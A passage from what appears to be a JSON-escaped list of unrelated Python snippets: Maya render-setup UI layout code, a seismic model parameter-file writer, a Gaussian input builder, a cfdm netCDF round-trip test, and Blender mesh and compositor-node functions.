0.85,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075))\\n\\n cmds.separator()\\n addOptionMenu('%s_selectVisibleLayer' % windowID,\\n 'Visible Layer ', (), rsSelectVisibleLayer)\\n cmds.separator()\\n\\n cmds.setParent(q.fullPath)\\n cmds.separator(height=12, style='none')\\n\\n # ################################################\\n # Collections\\n\\n addFrameLayout('%s_frameLayout02' % windowID, 'Collections',\\n labelVisible=False, marginHeight=0)\\n\\n addRowLayout(\\n '%s_rowLayout02' % windowID,\\n 6,\\n columnAlign6=('left', 'left', 'left', 'left', 'left', 'left'),\\n columnAttach6=('both', 'both', 'right', 'right', 'right', 'right'),\\n columnWidth6=(\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.18,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.415,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.075,\\n )\\n )\\n\\n addButton('rsAddCollection', 'Add', rsAddCollection)\\n addButton('rsRemoveCollection', 'Remove', rsRemoveCollection)\\n addButton('rsSelectShapes', 'Select Shapes', rsSelectShapes,\\n image='selectObject.png', size=(21, 21))\\n addButton('rsRenameShader', 'Rename Shader', rsRenameShader,\\n size=(21, 21), image='QR_rename.png')\\n addButton('rsDuplicateShader', 'Duplicate Shader',\\n duplicateShader, size=(21, 21), image='newPreset.png')\\n addButton('rsRefreshUI', 'Refresh', rsRefreshUI, size=(21, 21),\\n image='QR_refresh.png')\\n\\n # ###########################\\n # Filter List\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n addRowLayout('%s_rowLayout03' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'both'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.6, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.42))\\n\\n addTextField('%s_filterShaderList' % windowID, 'Search',\\n rsFilterShaderList_off, rsFilterShaderList_off,\\n window.updateUI)\\n addOptionMenu('rsShaderGroups', '|', (), rsShaderGroups)\\n\\n # ###########################\\n # The shaders scroll list\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n addRowLayout('%s_rowLayout04' % windowID, 1, columnAlign1='both', columnAttach1='both', columnWidth1=WINDOW_WIDTH\\n + 12)\\n addTextScrollList('%s_ShaderScrollList' % windowID, (),\\n rsShaderScrollList_doubleClick,\\n rsShaderScrollList_onSelect,\\n rsShaderScrollList_deleteKey)\\n\\n # Add popup menu:\\n\\n cmds.popupMenu('rsShaderScrollListPopupMenu',\\n parent='%s_ShaderScrollList' % windowID,\\n allowOptionBoxes=False, markingMenu=True,\\n postMenuCommand=postMenuCommand)\\n cmds.menuItem('%s_popupMenuItem02' % windowID,\\n label='Duplicate Shader', command=duplicateShader)\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem04' % windowID,\\n label='Graph Shader')\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem03' % windowID,\\n label='Select Shader')\\n cmds.menuItem(divider=True)\\n cmds.menuItem('%s_popupMenuItem05' % windowID,\\n label='Select Assigned Shapes')\\n cmds.menuItem('%s_popupMenuItem06' % windowID,\\n label='Select Assigned Transforms')\\n\\n # ##################################################\\n # Arnold Property Overrides\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout20' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n\\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\\n style='none')\\n\\n addRowLayout('%s_rowLayout05' % windowID, 2,\\n columnAlign2=('left', 'both'),\\n columnAttach2=('left', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\\n addText('%s_textArnoldPropertyOverridesLabel' % windowID,\\n 'Apply Arnold Property Overrides', 'plainLabelFont')\\n addCheckBox('rsArnoldPropertyOverridesCheckBox', '',\\n rsArnoldPropertyOverridesCheckBox,\\n rsArnoldPropertyOverridesCheckBox)\\n cmds.separator(parent='%s_columnLayout20' % windowID, height=4,\\n style='none')\\n\\n # Column Layout to toggle\\n\\n cmds.setParent('%s_columnLayout20' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout02' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n\\n addCheckboxes('%s_columnLayout02' % windowID)\\n cmds.columnLayout('%s_columnLayout02' % windowID, edit=True,\\n visible=False)\\n\\n # #################################################\\n # Shader Override\\n\\n cmds.setParent('%s_frameLayout02' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout21' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('left', 0),\\n adjustableColumn=False,\\n rowSpacing=0,\\n )\\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\\n style='none')\\n addRowLayout('%s_rowLayout06' % windowID, 2,\\n columnAlign2=('left', 'right'),\\n columnAttach2=('left', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.75, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.25))\\n addText('%s_shaderOverrideLabel' % windowID, 'Shader Override',\\n 'plainLabelFont')\\n addCheckBox('%s_shaderOverrideCheckbox' % windowID, '',\\n rsShaderOverrideCheckbox, rsShaderOverrideCheckbox)\\n cmds.separator(parent='%s_columnLayout21' % windowID, height=4,\\n style='none')\\n\\n cmds.setParent('%s_columnLayout21' % windowID)\\n cmds.columnLayout(\\n '%s_columnLayout03' % windowID,\\n width=WINDOW_WIDTH - FRAME_MARGIN * 2,\\n columnAlign='left',\\n columnAttach=('both', 4),\\n adjustableColumn=True,\\n rowSpacing=0,\\n )\\n cmds.setParent('%s_columnLayout03' % windowID)\\n addOptionMenu('%s_optionMenu02' % windowID, 'Select: ', (),\\n rsShaderOverridesMenu)\\n\\n global selectedShaderOverride\\n\\n # default selection\\n\\n selectedShaderOverride = SHADER_OVERRIDE_OPTIONS[0]['ui']\\n cmds.columnLayout('%s_columnLayout03' % windowID, edit=True,\\n visible=False)\\n\\n # #################################################\\n\\n cmds.setParent(q.fullPath)\\n cmds.separator(height=10, style='none')\\n\\n # #################################################\\n # Extras\\n\\n addFrameLayout('%s_frameLayout50' % windowID, 'Extras',\\n collapsable=True, marginHeight=0,\\n labelVisible=False)\\n\\n # #################################################\\n # Add & Assign Shader Groups\\n\\n addFrameLayout(\\n '%s_frameLayout05' % windowID,\\n 'Add & Assign Shader Groups',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=False,\\n labelVisible=True,\\n )\\n\\n # Add the renamer window\\n\\n self.gwCustomRenamer = CustomRenamer()\\n self.gwCustomRenamer.createUI()\\n\\n # #################################################\\n # AutoConnect\\n\\n cmds.setParent('%s_frameLayout50' % windowID)\\n\\n addFrameLayout(\\n '%s_frameLayout03' % windowID,\\n 'Adobe Connector',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=True,\\n labelVisible=True,\\n )\\n addRowLayout('%s_rowLayout07', 3, columnAlign3=('left', 'left',\\n 'left'), columnAttach3=('both', 'both', 'both'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\\n addButton('updateConnections', '> Update Connections <',\\n updateConnections)\\n addButton('uvSnapshot', 'UV Snapshot', uvSnapshot)\\n addButton('editTexture', 'Edit Texture', editTexture)\\n\\n # After Effects\\n\\n cmds.setParent('%s_frameLayout03' % windowID)\\n addRowLayout('%s_rowLayout11' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'both'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.4, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.6))\\n addText('%s_text90' % windowID, 'Send to After Effects:')\\n addButton('makeCompButton', 'Send to After Effects', rsMakeComp)\\n\\n # #################################################\\n # Render Setup /\\n # Output settings\\n\\n cmds.setParent('%s_frameLayout50' % windowID)\\n addFrameLayout(\\n '%s_frameLayout04' % windowID,\\n 'Output Settings',\\n collapsable=True,\\n marginWidth=0,\\n marginHeight=0,\\n collapse=True,\\n labelVisible=True,\\n )\\n addRowLayout('%s_rowLayout08' % windowID, 1,\\n columnAlign1='center', columnAttach1='both',\\n columnWidth1=WINDOW_WIDTH - FRAME_MARGIN * 2)\\n addButton('%s_revealOutputDirectory' % windowID,\\n 'Output path not set yet', rsRevealOutputDirectory)\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout09' % windowID, 3,\\n columnAlign3=('left', 'right', 'right'),\\n columnAttach3=('left', 'right', 'right'),\\n columnWidth3=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.8, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.14,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.06))\\n\\n addOptionMenu('%s_optionMenu05' % windowID, '', (),\\n rsSelectOutputTemplate)\\n addOptionMenu('%s_outputVersionMenu' % windowID, '', (),\\n rsSelectOutputVersion)\\n cmds.menuItem(label='v001')\\n\\n cmds.setParent('%s_rowLayout09' % windowID)\\n addButton('%s_incrementOutputVersionButton' % windowID, '+1',\\n rsIncrementOutputVersion, size=(21, 21))\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout10' % windowID, 2,\\n columnAlign2=('left', 'left'),\\n columnAttach2=('both', 'right'),\\n columnWidth2=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.7, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.3))\\n addOptionMenu('%s_optionMenu03' % windowID, 'Format:', (),\\n rsOutputTemplatesMenu)\\n addOptionMenu('%s_optionMenu06' % windowID, '', (),\\n rsSetFPSMenu)\\n\\n cmds.setParent('%s_frameLayout04' % windowID)\\n addRowLayout('%s_rowLayout12' % windowID, 4,\\n columnAlign4=('right', 'left', 'right', 'left'),\\n columnAttach4=('both', 'both', 'both', 'both'),\\n columnWidth4=((WINDOW_WIDTH - FRAME_MARGIN * 2)\\n * 0.50, (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.20,\\n (WINDOW_WIDTH - FRAME_MARGIN * 2) * 0.15))\\n\\n addText('%s_setInFrameLabel' % windowID, 'In Frame ')\\n addTextField('%s_setInFrame' % windowID, '', setInFrame,\\n setInFrame, setInFrame)\\n\\n addText('%s_setOutFrameLabel' % windowID, 'Out Frame ')\\n addTextField('%s_setOutFrame' % windowID, '', setOutFrame,\\n setOutFrame, setOutFrame)\",\n \"def __init__(self, name, force_field):\\n self.molecule = force_field.blocks[name]\",\n \"def create(args):\\n print('Creates an HPC fleet with given name \\\"{}\\\"'.format(args.fleet_name))\",\n \"def create(self):\\n self.parent.copyCurrentWinState(self.pltw)\\n # add a new vector\\n vname = self.pltw.curvelist[self.cpos].name + 'BL'\\n (nvec, npt) = np.shape(self.pltw.blklst[self.blkno])\\n if self.pltw.pasteVector(self.data[2], self.blkno, vname):\\n xname = self.pltw.getVnam(self.blkno, self.xpos)\\n xvinfo = vectInfo(self.blkno, self.xpos, xname)\\n yvinfo = vectInfo(self.blkno, nvec, vname)\\n self.pltw.curvelist.append(curveInfo(vname, xvinfo, yvinfo))\\n self.pltw.updatePlot()\\n self.pltw.dirty = True\\n self.pltw.activecurv = self.cpos\\n self.parent.updateUI()\\n self.hide()\",\n \"def create_e3d_file(self,path='./'):\\n dt=0.606*self.model_parameters['dh']/np.max(self.velocity_model['vp']) # dt needs to satify the courant condition\\n t=int(self.model_parameters['duration']/dt)\\n \\n # Check path exists, if not create one\\n if not os.path.exists(path):\\n os.makedirs(path)\\n \\n # Create e3d parameter file\\n f=open('%s%s_e3dmodel.txt'%(path,self.model_name),'w')\\n f.write(\\\"grid x=%s z=%s dh=%s b=2 q=1\\\\ntime dt=%0.5f t=%s\\\\n\\\"%(self.model_parameters['xmax'],self.model_parameters['zmax'],self.model_parameters['dh'],dt,t))\\n f.write(\\\"block p=%s s=%s r=%s Q=20 Qf=50\\\\n\\\"%(self.velocity_model['vp'][0],self.velocity_model['vs'][0],self.velocity_model['rho'][0]))\\n \\n for i in range(1,len(self.velocity_model['vp'])-1):\\n f.write(\\\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\\\n\\\"%(self.velocity_model['vp'][i],self.velocity_model['vs'][i],self.velocity_model['rho'][i],\\n self.velocity_model['depth'][i],self.velocity_model['depth'][i+1]))\\n \\n f.write(\\\"block p=%s s=%s r=%s z1=%s z2=%s Q=20 Qf=50\\\\n\\\\n\\\"%(self.velocity_model['vp'][i+1],self.velocity_model['vs'][i+1],self.velocity_model['rho'][i+1],\\n self.velocity_model['depth'][i+1],self.model_parameters['zmax'])) # extend to the based of the model \\n \\n f.write(\\\"visual movie=5\\\\n\\\\n\\\")\\n\\n if self.source['src_type']!=4:\\n f.write(\\\"source type=%s x=%s z=%s freq=%s amp=%s\\\\n\\\\n\\\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'])) \\n else:\\n f.write(\\\"source type=%s x=%s z=%s freq=%s amp=%s Mxx=%s Myy=%s Mzz=%s Mxy=%s Mxz=%s Myz=%s\\\\n\\\\n\\\"%(self.source['src_type'],self.source['srcx'],self.source['srcz'],self.source['freq'],self.source['amp'],self.source['mt'][0],self.source['mt'][1],self.source['mt'][2],self.source['mt'][3],self.source['mt'][4],self.source['mt'][5])) \\n\\n for r in range(len(self.receivers['recxs'])):\\n f.write('sac x=%0.3f z=%0.3f file=%s\\\\n'%(self.receivers['recxs'][r],self.receivers['reczs'][r],self.model_name))\\n\\n f.write(\\\"visual sample=0.1 movie=1 scale=10000000000/n\\\")\\n f.close()\\n \\n print('File created: %s%s_e3dmodel.txt'%(path,self.model_name))\",\n \"def create_com_from_pdb_str(pdb_str, gau_tpl_content, com_fname):\\n coord_list = []\\n pdb_str_list = pdb_str.split(\\\"\\\\n\\\")\\n for line in pdb_str_list:\\n if line.startswith('ATOM') or line.startswith('HETATM'):\\n element = line[PDB_BEFORE_ELE_LAST_CHAR:PDB_ELE_LAST_CHAR].strip()\\n pdb_xyz = line[PDB_MOL_NUM_LAST_CHAR:PDB_Z_LAST_CHAR]\\n coord_list.append([\\\"{:6}\\\".format(element), pdb_xyz])\\n elif line.startswith('CONECT') or line.startswith('END'):\\n break\\n list_to_file(gau_tpl_content[SEC_HEAD] + coord_list + gau_tpl_content[SEC_TAIL], com_fname, print_message=False)\",\n \"def __init__(self, *args, **kwargs):\\n global _image3D_index\\n mambaComposed.sequenceMb.__init__(self, *args, **kwargs)\\n \\n self.name = \\\"Image3D \\\"+str(_image3D_index)\\n _image3D_index = _image3D_index + 1\\n \\n if kwargs.has_key(\\\"displayer\\\"):\\n self._displayerUsr = kwargs[\\\"displayer\\\"]\\n else:\\n self._displayerUsr = None\\n self._displayerPjt = m3D.getProjDisplayer\\n self._displayerVtk = m3D.getVtkDisplayer\\n self._displayPjt = None\\n self._displayUsr = None\\n self._displayVtk = None\\n \\n self.mb3DIm = core3D.MB3D_Image(list(map(lambda im: im.mbIm, self.seq)))\",\n \"def build_roi_box_head(cfg):\\n return ROIBoxHead3D(cfg)\",\n \"def Make_surface(self, par, verbose=False):\\n ## check if we are dealing with a dictionary\\n if isinstance(par, dict):\\n self.star.Make_surface(\\n q = par['q'],\\n porb = par['porb'],\\n incl = par['incl'],\\n k1 = par['k1'],\\n omega = par['omega'],\\n filling = par['filling'],\\n tempgrav = par['tempgrav'],\\n temp = par['temp'],\\n tirr = par['tirr']\\n )\\n else:\\n self.star.Make_surface(\\n q = par[0],\\n porb = par[1],\\n incl = par[2],\\n k1 = par[3],\\n omega = par[4],\\n filling = par[5],\\n tempgrav = par[6],\\n temp = par[7],\\n tirr = par[8]\\n )\\n\\n if verbose:\\n print( \\\"Content on input parameter for Make_surface\\\" )\\n print( par )\\n\\n return\",\n \"def test_create_field_3(self):\\n # Dimension coordinates\\n data = numpy.arange(9.0) + 20\\n data[-1] = 34\\n dim0 = cfdm.DimensionCoordinate(data=cfdm.Data(data))\\n dim0.set_property(\\\"standard_name\\\", \\\"grid_longitude\\\")\\n dim0.set_property(\\\"units\\\", \\\"degrees\\\")\\n\\n array = dim0.data.array\\n\\n array = numpy.array([array - 0.5, array + 0.5]).transpose((1, 0))\\n array[-2, 1] = 30\\n array[-1, :] = [30, 36]\\n dim0.set_bounds(cfdm.Bounds(data=cfdm.Data(array)))\\n\\n dim1 = cfdm.DimensionCoordinate(data=cfdm.Data(numpy.arange(10.0)))\\n dim1.set_property(\\\"standard_name\\\", \\\"grid_latitude\\\")\\n dim1.set_property(\\\"units\\\", \\\"degrees\\\")\\n\\n dim2 = cfdm.DimensionCoordinate(\\n data=cfdm.Data([1.5]),\\n bounds=cfdm.Bounds(data=cfdm.Data([[1, 2.0]])),\\n )\\n dim2.set_property(\\n \\\"standard_name\\\", \\\"atmosphere_hybrid_height_coordinate\\\"\\n )\\n dim2.set_property(\\\"computed_standard_name\\\", \\\"altitude\\\")\\n\\n dim3 = cfdm.DimensionCoordinate(data=cfdm.Data(numpy.array([15.0])))\\n dim3.set_property(\\\"standard_name\\\", \\\"time\\\")\\n dim3.set_property(\\\"units\\\", \\\"days since 2004-06-01\\\")\\n\\n dim3.set_bounds(cfdm.Bounds(data=cfdm.Data([[0, 30.0]])))\\n\\n # dim3.set_geometry('climatology')\\n\\n # Auxiliary coordinates\\n ak = cfdm.DomainAncillary(data=cfdm.Data([10.0]))\\n ak.set_property(\\\"units\\\", \\\"m\\\")\\n ak.set_bounds(cfdm.Bounds(data=cfdm.Data([[5, 15.0]])))\\n\\n bk = cfdm.DomainAncillary(data=cfdm.Data([20.0]))\\n bk.set_bounds(cfdm.Bounds(data=cfdm.Data([[14, 26.0]])))\\n\\n aux2 = cfdm.AuxiliaryCoordinate(\\n data=cfdm.Data(numpy.arange(-45, 45, dtype=\\\"int32\\\").reshape(10, 9))\\n )\\n aux2.set_property(\\\"units\\\", \\\"degree_N\\\")\\n aux2.set_property(\\\"standard_name\\\", \\\"latitude\\\")\\n\\n aux3 = cfdm.AuxiliaryCoordinate(\\n data=cfdm.Data(numpy.arange(60, 150, dtype=\\\"int32\\\").reshape(9, 10))\\n )\\n aux3.set_property(\\\"standard_name\\\", \\\"longitude\\\")\\n aux3.set_property(\\\"units\\\", \\\"degreeE\\\")\\n\\n array = numpy.ma.array(\\n [\\n \\\"alpha\\\",\\n \\\"beta\\\",\\n \\\"gamma\\\",\\n \\\"delta\\\",\\n \\\"epsilon\\\",\\n \\\"zeta\\\",\\n \\\"eta\\\",\\n \\\"theta\\\",\\n \\\"iota\\\",\\n \\\"kappa\\\",\\n ],\\n )\\n array[0] = numpy.ma.masked\\n aux4 = cfdm.AuxiliaryCoordinate(data=cfdm.Data(array))\\n aux4.set_property(\\\"standard_name\\\", \\\"greek_letters\\\")\\n\\n # Cell measures\\n msr0 = cfdm.CellMeasure(\\n data=cfdm.Data(1 + numpy.arange(90.0).reshape(9, 10) * 1234)\\n )\\n msr0.set_measure(\\\"area\\\")\\n msr0.set_property(\\\"units\\\", \\\"km2\\\")\\n\\n # Data\\n data = cfdm.Data(numpy.arange(90.0).reshape(10, 9))\\n\\n properties = {\\\"units\\\": \\\"m s-1\\\"}\\n\\n f = cfdm.Field(properties=properties)\\n f.set_property(\\\"standard_name\\\", \\\"eastward_wind\\\")\\n\\n axisX = f.set_construct(cfdm.DomainAxis(9))\\n axisY = f.set_construct(cfdm.DomainAxis(10))\\n axisZ = f.set_construct(cfdm.DomainAxis(1))\\n axisT = f.set_construct(cfdm.DomainAxis(1))\\n\\n f.set_data(data, axes=[axisY, axisX])\\n\\n x = f.set_construct(dim0, axes=[axisX])\\n y = f.set_construct(dim1, axes=[axisY])\\n z = f.set_construct(dim2, axes=[axisZ])\\n f.set_construct(dim3, axes=[axisT])\\n\\n lat = f.set_construct(aux2, axes=[axisY, axisX])\\n lon = f.set_construct(aux3, axes=[axisX, axisY])\\n f.set_construct(aux4, axes=[axisY])\\n\\n ak = f.set_construct(ak, axes=[axisZ])\\n bk = f.set_construct(bk, axes=[axisZ])\\n\\n # Coordinate references\\n # ref0 = cfdm.CoordinateReference(\\n # parameters={'grid_mapping_name': 'rotated_latitude_longitude',\\n # 'grid_north_pole_latitude': 38.0,\\n # 'grid_north_pole_longitude': 190.0,\\n # 'earth_radius': 6371007,},\\n # coordinates=[x, y, lat, lon]\\n # )\\n\\n coordinate_conversion = cfdm.CoordinateConversion(\\n parameters={\\n \\\"grid_mapping_name\\\": \\\"rotated_latitude_longitude\\\",\\n \\\"grid_north_pole_latitude\\\": 38.0,\\n \\\"grid_north_pole_longitude\\\": 190.0,\\n }\\n )\\n\\n datum = cfdm.Datum(parameters={\\\"earth_radius\\\": 6371007})\\n\\n ref0 = cfdm.CoordinateReference(\\n coordinate_conversion=coordinate_conversion,\\n datum=datum,\\n coordinates=[x, y, lat, lon],\\n )\\n\\n f.set_construct(msr0, axes=[axisX, axisY])\\n\\n f.set_construct(ref0)\\n\\n orog = cfdm.DomainAncillary(data=f.get_data())\\n orog.set_property(\\\"standard_name\\\", \\\"surface_altitude\\\")\\n orog.set_property(\\\"units\\\", \\\"m\\\")\\n orog = f.set_construct(orog, axes=[axisY, axisX])\\n\\n datum1 = cfdm.Datum({\\\"earth_radius\\\": 6371007})\\n\\n coordinate_conversion1 = cfdm.CoordinateConversion(\\n parameters={\\n \\\"standard_name\\\": \\\"atmosphere_hybrid_height_coordinate\\\",\\n \\\"computed_standard_name\\\": \\\"altitude\\\",\\n },\\n domain_ancillaries={\\\"orog\\\": orog, \\\"a\\\": ak, \\\"b\\\": bk},\\n )\\n\\n ref1 = cfdm.CoordinateReference(\\n datum=datum1,\\n coordinate_conversion=coordinate_conversion1,\\n coordinates=[z],\\n )\\n\\n ref1 = f.set_construct(ref1)\\n\\n # Field ancillary variables\\n # g = f.transpose([1, 0])\\n g = f.copy()\\n # g.standard_name = 'ancillary0'\\n # g *= 0.01\\n anc = cfdm.FieldAncillary(data=g.get_data())\\n anc.standard_name = \\\"ancillaryA\\\"\\n f.set_construct(anc, axes=[axisY, axisX])\\n\\n g = f[0]\\n g = g.squeeze()\\n # g.standard_name = 'ancillary2'\\n # g *= 0.001\\n anc = cfdm.FieldAncillary(data=g.get_data())\\n anc.standard_name = \\\"ancillaryB\\\"\\n f.set_construct(anc, axes=[axisX])\\n\\n g = f[..., 0]\\n g = g.squeeze()\\n # g.standard_name = 'ancillary3'\\n # g *= 0.001\\n anc = cfdm.FieldAncillary(data=g.get_data())\\n anc.standard_name = \\\"ancillaryC\\\"\\n f.set_construct(anc, axes=[axisY])\\n\\n f.set_property(\\\"flag_values\\\", numpy.array([1, 2, 4], \\\"int32\\\"))\\n f.set_property(\\\"flag_meanings\\\", \\\"a bb ccc\\\")\\n f.set_property(\\\"flag_masks\\\", [2, 1, 0])\\n\\n cm0 = cfdm.CellMethod(\\n axes=[axisX],\\n method=\\\"mean\\\",\\n qualifiers={\\\"interval\\\": [cfdm.Data(1, \\\"day\\\")], \\\"comment\\\": \\\"ok\\\"},\\n )\\n\\n cm1 = cfdm.CellMethod(\\n axes=[axisY], method=\\\"maximum\\\", qualifiers={\\\"where\\\": \\\"sea\\\"}\\n )\\n\\n cm2 = cfdm.CellMethod(\\n axes=[axisT], method=\\\"maximum\\\", qualifiers={\\\"within\\\": \\\"years\\\"}\\n )\\n\\n cm3 = cfdm.CellMethod(\\n axes=[axisT], method=\\\"minimum\\\", qualifiers={\\\"over\\\": \\\"years\\\"}\\n )\\n\\n f.set_construct(cm0)\\n f.set_construct(cm1)\\n f.set_construct(cm2)\\n f.set_construct(cm3)\\n\\n cfdm.write(f, self.filename, fmt=\\\"NETCDF3_CLASSIC\\\", verbose=verbose)\\n\\n g = cfdm.read(self.filename, verbose=verbose)\\n\\n self.assertEqual(\\n len(g), 1, f\\\"Read produced too many fields: {len(g)} != 1\\\"\\n )\\n\\n g = g[0].squeeze()\\n\\n self.assertEqual(\\n sorted(f.constructs),\\n sorted(g.constructs),\\n f\\\"\\\\n\\\\nf (created in memory)\\\"\\n f\\\"\\\\n{f.constructs}\\\"\\n f\\\"\\\\n\\\\n{f.constructs.items()}\\\"\\n f\\\"\\\\n\\\\ng (read from disk)\\\"\\n f\\\"\\\\n{g.constructs}\\\"\\n f\\\"\\\\n\\\\n{g.constructs.items()}\\\",\\n )\\n\\n self.assertTrue(\\n f.equals(f.copy(), verbose=verbose),\\n \\\"Field f not equal to a copy of itself\\\",\\n )\\n\\n self.assertTrue(\\n g.equals(g.copy(), verbose=verbose),\\n \\\"Field g not equal to a copy of itself\\\",\\n )\\n\\n self.assertTrue(\\n g.equals(f, verbose=verbose),\\n \\\"Field not equal to itself read back in\\\",\\n )\\n\\n x = g.dump(display=False)\\n x = f.dump(display=False)\\n\\n g = cfdm.read(\\n self.filename,\\n verbose=verbose,\\n extra=[\\\"domain_ancillary\\\"],\\n warnings=warnings,\\n )\",\n \"def generate_guide_mesh():\\n verts = [[0.0, 0.0, 0.0], [-0.01, -0.01, 0.1], [-0.01, 0.01, 0.1], [0.01, -0.01, 0.1], [0.01, 0.01, 0.1], [-0.03, -0.03, 0.1], [-0.03, 0.03, 0.1], [0.03, 0.03, 0.1], [0.03, -0.03, 0.1], [-0.01, -0.01, 0.2], [-0.01, 0.01, 0.2], [0.01, -0.01, 0.2], [0.01, 0.01, 0.2]]\\n edges = [[0, 5], [5, 6], [6, 7], [7, 8], [8, 5], [1, 2], [2, 4], [4, 3], [3, 1], [5, 1], [2, 6], [4, 7], [3, 8], [9, 10], [10, 12], [12, 11], [11, 9], [3, 11], [9, 1], [2, 10], [12, 4], [6, 0], [7, 0], [8, 0]]\\n faces = [[0, 5, 6], [0, 6, 7], [0, 7, 8], [0, 8, 5], [1, 3, 11, 9], [1, 2, 6, 5], [2, 4, 7, 6], [4, 3, 8, 7], [3, 1, 5, 8], [12, 10, 9, 11], [4, 2, 10, 12], [3, 4, 12, 11], [2, 1, 9, 10]]\\n name = 'ModelingClothPinGuide'\\n if 'ModelingClothPinGuide' in bpy.data.objects:\\n mesh_ob = bpy.data.objects['ModelingClothPinGuide']\\n else: \\n mesh = bpy.data.meshes.new('ModelingClothPinGuide')\\n mesh.from_pydata(verts, edges, faces) \\n mesh.update()\\n mesh_ob = bpy.data.objects.new(name, mesh)\\n bpy.context.scene.objects.link(mesh_ob)\\n mesh_ob.show_x_ray = True\\n return mesh_ob\",\n \"def create_layout( self ):\",\n \"def create(self):\\n\\t\\tlipsBaseFile.imp()\",\n \"def comp_add_wireframe_freestyle(self):\\n scene = self.set_as_active()\\n scene.use_nodes = True\\n tree = scene.node_tree\\n tree.nodes.clear()\\n\\n # creating the nodes\\n node_alphaover = tree.nodes.new('CompositorNodeAlphaOver')\\n node_alphaover.location = -25, 50\\n\\n node_rlwire = tree.nodes.new('CompositorNodeRLayers')\\n node_rlwire.location = -400, 250\\n node_rlwire.scene = scene\\n node_rlwire.layer = w_var.rlname\\n\\n node_rlclay = tree.nodes.new('CompositorNodeRLayers')\\n node_rlclay.location = -400, -75\\n node_rlclay.scene = scene\\n node_rlclay.layer = w_var.rlname_other\\n\\n node_comp = tree.nodes.new('CompositorNodeComposite')\\n node_comp.location = 400, 65\\n\\n node_viewer = tree.nodes.new('CompositorNodeViewer')\\n node_viewer.location = 400, -125\\n\\n # connecting the nodes\\n links = tree.links\\n links.new(node_rlwire.outputs[0], node_alphaover.inputs[1])\\n links.new(node_rlclay.outputs[0], node_alphaover.inputs[2])\\n\\n if w_var.cb_ao:\\n node_mixcolor_wire = tree.nodes.new('CompositorNodeMixRGB')\\n node_mixcolor_wire.location = -125, 150\\n node_mixcolor_wire.blend_type = 'MULTIPLY'\\n node_mixcolor_wire.inputs[0].default_value = 0.730\\n\\n node_mixcolor_clay = tree.nodes.new('CompositorNodeMixRGB')\\n node_mixcolor_clay.location = -125, -100\\n node_mixcolor_clay.blend_type = 'MULTIPLY'\\n node_mixcolor_clay.inputs[0].default_value = 0.730\\n\\n node_alphaover.location = 125, 75\\n\\n links.new(node_rlwire.outputs[0], node_mixcolor_wire.inputs[1])\\n links.new(node_rlwire.outputs[10], node_mixcolor_wire.inputs[2])\\n\\n links.new(node_rlclay.outputs[0], node_mixcolor_clay.inputs[1])\\n links.new(node_rlclay.outputs[10], node_mixcolor_clay.inputs[2])\\n\\n links.new(node_mixcolor_wire.outputs[0], node_alphaover.inputs[1])\\n links.new(node_mixcolor_clay.outputs[0], node_alphaover.inputs[2])\\n\\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\\n\\n else:\\n links.new(node_alphaover.outputs[0], node_comp.inputs[0])\\n links.new(node_alphaover.outputs[0], node_viewer.inputs[0])\\n\\n for node in tree.nodes:\\n node.select = False\",\n \"def build_pcb(self, 